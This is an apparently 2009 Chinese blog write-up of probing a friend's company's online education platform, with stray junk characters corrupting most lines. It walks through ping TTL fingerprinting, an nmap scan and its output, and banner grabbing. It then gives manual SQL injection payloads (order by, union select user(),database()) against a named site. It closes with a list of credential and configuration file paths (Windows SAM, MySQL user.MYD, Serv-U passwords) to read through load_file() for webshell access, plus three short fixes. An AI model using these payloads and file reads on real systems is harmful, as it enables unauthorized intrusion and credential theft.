题记:
' n" W* @: a& W. E一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……+ y7 U/ N9 @7 W6 [
第一步:获取需要的信息
% f4 H' O! v" B x; `' c由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。* x0 ^& D% T) L- p* i
注:以下为保护特用XXX代替敏感信息# |& Z# Y4 c; h& V
顺手先PING了一下他们的域名:4 f: b% Q# f0 f
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名), [5 Q. _- ` }
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms6 k. o0 e2 Q W6 p* Z$ J5 |7 K
顺便了解一下TTL,学好基础知识才能一路顺风:
( Z+ k4 d2 y! F% a' u1 [' ?TTL:(Time To Live ) 生存时间
X0 x% Y; Q8 G' V指定数据包被路由器丢弃之前允许通过的网段数量。
7 c! R2 T- k4 v5 M. r) W; YTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。* u# v! M% @0 Z2 s$ s7 p8 P
使用PING时涉及到的 ICMP 报文类型, p5 {& H! m3 ^3 f7 ^
一个为ICMP请求回显(ICMP Echo Request)
1 o# k. ^% X2 Y$ `$ f4 e一个为ICMP回显应答(ICMP Echo Reply); r- G5 i ~2 ~: C5 I- [
TTL 字段值可以帮助我们识别操作系统类型。( w6 E# a0 \/ N& u. E
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2551 V: `+ {: K- x+ a" [
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64" ^$ j$ v/ `( J' Y) p' a- r; D
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1284 e5 A1 A5 z1 w4 ]2 ]. X; F4 Z) ?
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
! e6 ~# E5 a, k当然,返回的TTL值是相同的) b# ?& F; U6 B# o1 Y
但有些情况下有所特殊
5 `7 Z4 O& q( t) U( b; ?, {4 zLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
* C/ v# }0 b9 u! _0 U: m' s7 f& @FreeBSD 4.1, 4.0, 3.4;1 D, w- |+ X- ^9 t$ P
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;+ P; ~ l% q/ B% o4 z4 C
OpenBSD 2.6, 2.7,5 i! J( L% H6 k' y) g+ u0 s/ r
NetBSD* a& q6 b( \! F j" o
HP UX 10.20
$ `7 x/ [+ R$ Q, E8 dICMP 回显应答的 TTL 字段值为 255& _1 N8 p/ y5 B" K: W
Windows 95/98/98SE- j4 w; t* [5 R5 P
Windows ME) o( Y7 A8 z( A, U: N
ICMP 回显应答的 TTL 字段值为 32
6 u6 G" x3 Y: LWindows NT4 WRKS
$ K' A5 b- u* ]2 @3 OWindows NT4 Server
7 ]6 k1 \: _1 b0 @9 w0 YWindows 2000* c, X9 W9 i: v0 w
Windows XP0 v6 a- `$ c5 I2 z0 g
ICMP 回显应答的 TTL 字段值为 1282 K" z# }7 D5 W: J7 S
这样,我们就可以通过这种方法来辨别操作系统
% L1 S/ g; j3 N6 Q( M6 a# G9 w. rTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2559 v/ [6 O% z; A- x
用NMAP扫描一下:
, g7 ]1 O' \3 r5 _nmap -sT -O XXX.XXX.XXX.XXX( x5 J9 X2 D, Z( _
如果没有装WinPcap则会弹出提示:1 o4 \! z) _& r6 _' x9 L. L, U" ?7 |
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
I* n! l, _4 a- hade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
0 U! g9 L6 Q+ Q) mode — Nmap may not function completely
7 _: O$ E- S) a7 S0 oTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
) D$ s4 [2 L3 E( n4 F. b: p$ ~! |- Eand iphlpapi.dll be installed. You seem to be missing one or both of these. Win
% c. h, D9 T/ P3 x7 S( @7 E% hpcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
6 B. }2 e; _) o6 Z D, Y5 g/ c" Cd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
w& H6 F$ C$ N7 \ersions, you may be able to take iphlpapi.dll from another system and place it i! H% g+ i( C; z: Z
n your system32 dir (e.g. c:\windows\system32).
" |* w; X( ^3 H2 k- U) DQUITTING!5 G& m- s/ R4 e# t
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe; L& s: A/ o) M0 t* N/ ]! F9 i/ x
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
# I% s9 Y$ b6 D/ l& K' F4 U. f" TInteresting ports on XXX.XXX.XXX.XXX:; \" p- w, D8 K% Y; g
Not shown: 986 closed ports! `4 W/ v6 s* u4 j
PORT STATE SERVICE& K0 t2 R8 \6 g; K( @5 ]
21/tcp open ftp+ p, `9 h# y; O' e& h$ j% J! T9 Y
22/tcp open ssh* |" j. @. Y( ?7 D! n
23/tcp open telnet
# ?( Z' q e) r$ \8 @8 I2 G+ ]6 U80/tcp open http
# e) f9 a5 b/ T( w$ l111/tcp open rpcbind
/ b; S- z! I, p' W1 ~# q135/tcp filtered msrpc
3 V2 F- `$ x! G/ H& L139/tcp filtered netbios-ssn
3 D/ n, \- t% H& m445/tcp filtered microsoft-ds! a! ~7 D* E! y
513/tcp open login: \: k' ?7 B0 l
514/tcp open shell
; n1 U2 ~/ A0 }0 ?2 A- n( Y C593/tcp filtered http-rpc-epmap& x" n7 |3 F3 Z8 z
1720/tcp filtered H.323/Q.931' k* y9 |( i. s: {3 g# A, x" I
3306/tcp open mysql" a: b" d) B- D6 @# W
4444/tcp filtered krb524
4 `8 W8 y; l: l- w* S3 u" e8 T+ r( KDevice type: WAP' @" i3 m9 `) d$ I' k
Running: Linux 2.4.X
+ J! n( g0 i4 jOS details: DD-WRT (Linux 2.4.35s) c; O& D4 E' d9 l7 z8 p
Network Distance: 13 hops
' V! w, |& Z/ _2 {& S看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
+ O8 q3 N& B. |. \' ^' flogin as:
+ p$ n6 N2 ^" @# x) }Telnet23端口也是开着的,用telnet 命令链接一下:4 y: ?$ p$ P( P/ I! E
telnet XXX.XXX.XXX.XXX6 E- G G( M- m1 I" K: L/ i2 N
提示:1 U! j4 n3 h q' D \; c
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
/ `& g9 H2 k/ z1 z& U$ m4 rKernel 2.6.18-92.el5PAE on an i686
% G J$ d9 h6 G! Ilogin:
2 t {" k* D- v( G获取HTTP头信息:
5 Q% K+ f! K/ B+ C1 g在本地执行如下PHP代码
: B( Y- P( _' L1 X<?php
' W/ x' ]" v7 ?2 \6 D8 X, y% R$url = ‘XXX.XXX.XXX.XXX’;
0 y1 l) |. L* f3 {print_r(get_headers($url));3 n9 }0 P1 b+ x( s
print_r(get_headers($url, 1));4 v2 r. m# {1 |- E3 {
?>
+ d8 z$ I, P2 E! m* c+ C$ j: d将以上代码保存为PHP文件,执行:+ P8 y5 t# Q4 g0 t: u# d+ F
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
) [* ]1 g/ K: z; s. @% ^+ ^现在可以得出结论:& Z# |9 \. {0 f% Z
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)& s! C! ?, Q$ S$ D
内核版本:Kernel 2.6.18-92.el5PAE on an i686
# [! @$ Z { z" t E z' DWEB服务器版本:nginx/0.7.61
; p& V8 n5 k9 \$ @) O% X第二步,开始测试寻找漏洞/ y; _: h$ S& }5 o6 h
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。/ b* h) g) V' @ ^: m7 X
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
. h4 b3 o$ l* c$ m2 i2、测试方法:在地址后加 and 1=1 和 and 1=2 测试) z7 Z x0 E: v
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
, J) b5 C5 h, g0 J7 i7 ?( vhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
, I4 @/ N3 L5 G9 o9 k, Q恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
1 C b6 p3 h' M* g! n" j3、手工注入:( v( H+ h3 e, k! J& f0 I' ~) K
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。 L- }4 q3 B; [; N% G. A
3.1 猜测当前表字段数
, Y( ?& q7 Y$ [1 c% \* t3 q, hhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10* C0 M) N" T! B8 q) E0 }
此处猜测有个简单的算法,都是有技巧的吗,呵呵/ I5 d: I* B- H ^( T8 L3 n
算法简单如下:: k4 e* m( ] A$ u4 d& Y6 [% ^
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
- P& f- C. p" b9 w9 @第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
9 j5 R; G( a8 ]7 E: `1 Y& i需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。& s+ J" D3 u9 o6 {
以此来判断,是否过界,配合取中算法猜出字段数。9 i8 |% H4 i) J
举例:9 _. ~& I9 f; S5 H
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常9 U# I1 \+ w' N8 D3 Y; ~' W
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误 S* Y9 U/ K- s$ f* F
此时3则为我们要找的字段数。
# P% [/ D; p0 N3 S3.2 配合union联合查询字段在页面所位置- k* e g5 w; a$ F. J
我们已经知道了字段数为3,此时则可以做如下操作:
: h5 J* G- p( fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
' l8 b* ]! k2 u) \$ E( \. }; y2 I7 e4 n0 \& \
这样就可以测试到哪些字段在页面上有所显示了,如图:5 w' M$ h5 \2 x3 n
( D" w$ d+ L U& _$ |) g0 q3.3 查敏感信息
7 e3 ~6 y7 Y5 k- @$ b这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
1 A: Y2 x2 ^6 a, g) c r) r, `, Khttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()( p7 o; w. I& o9 S
3.3.1 先查数据库用户、数据库名,以备后用,如图:
% i, `6 N q5 F; p. O( ]
3 _6 B% c9 l/ ^: o, Q7 C% _. n8 F得到数据库用户为root、数据库名为DBxx;
$ [) e4 J4 m3 @- Y! \3.3.2 查配置文件
* }1 B$ c* H4 I, h' ]1 N查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。3 A$ E, u) K- Q8 X
查看文件有一定的条件限制:
, _3 a0 R9 ^6 `9 w9 n欲读取文件必须在服务器上
6 z$ z9 d, U) H) u. X必须指定文件完整的路径
- k) t8 n/ q1 V( w% Y必须有权限读取并且文件必须完全可读7 h9 N9 t# H+ t" E0 K: B$ [1 Y
欲读取文件必须小于 max_allowed_packet& _3 s3 r. O, q+ n
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。% j7 v% g f$ S; Z) j
常用的一些:
+ o0 i8 m6 ]0 T. r9 M7 Y/ t" V/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
8 b: o: f, r; X* P' u( Y/ q/usr/local/apache2/conf/httpd.conf3 d8 r' l1 r* \" n: _
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
) k! a0 N+ o" P2 X& C; N! `/usr/local/app/php5/lib/php.ini //PHP相关设置
! T* q+ e+ i; ?/etc/sysconfig/iptables //从中得到防火墙规则策略. ^# `! J& o* f( O5 ?/ ?% D
/etc/httpd/conf/httpd.conf // apache配置文件
. O! w4 S: ?( w# O1 A0 s/etc/rsyncd.conf //同步程序配置文件
# z- k/ m1 B+ A r: {9 x b/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.- z& b2 c7 h$ w) i3 a) U' g
/etc/my.cnf //mysql的配置文件
2 |, J3 v( q! V/etc/redhat-release //系统版本
0 n) z- J* i8 a8 C/etc/issue
1 s ^) y# C7 {' k2 o3 K, p/etc/issue.net
/ d f& a5 C4 i7 {c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
# r6 S; y( X7 \5 e5 Qc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
/ Z* P6 w: r% o! P# Sc:\Program Files\Serv-U\ServUDaemon.ini- Z# k4 v. k( u% ~/ g- h0 H, O
c:\windows\my.ini //MYSQL配置文件
W0 @5 q6 x- ]$ z8 Dc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
8 G7 f3 U }) K! U2 x7 `等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
! [. D$ S- U+ h) n+ Oc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
6 Q. E6 y* e, }( n- d; ?3 u. S+ ac:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此$ K' n- i+ b( ]9 ?" @: E
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
2 }% h6 N- _$ b0 N- B5 rC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件! i9 T9 ~1 V4 K7 G
//存储了pcAnywhere的登陆密码
6 g, t/ A& s* M" @- N由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
# a9 {8 d. y4 ^/ K* r7 P) v这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
7 E" F' a% {+ @9 B$ f/ d# k最后:防范措施
, D# i0 F$ X% q' k8 u7 U1 {1、修复PHP注入漏洞;
' _* L; m, o5 g& b) b8 w& z2、Mysql使用普通权限的用户;
6 [8 F6 ~! Q/ F6 a0 |( K6 i. ]3、升级linux内核至最新版本; |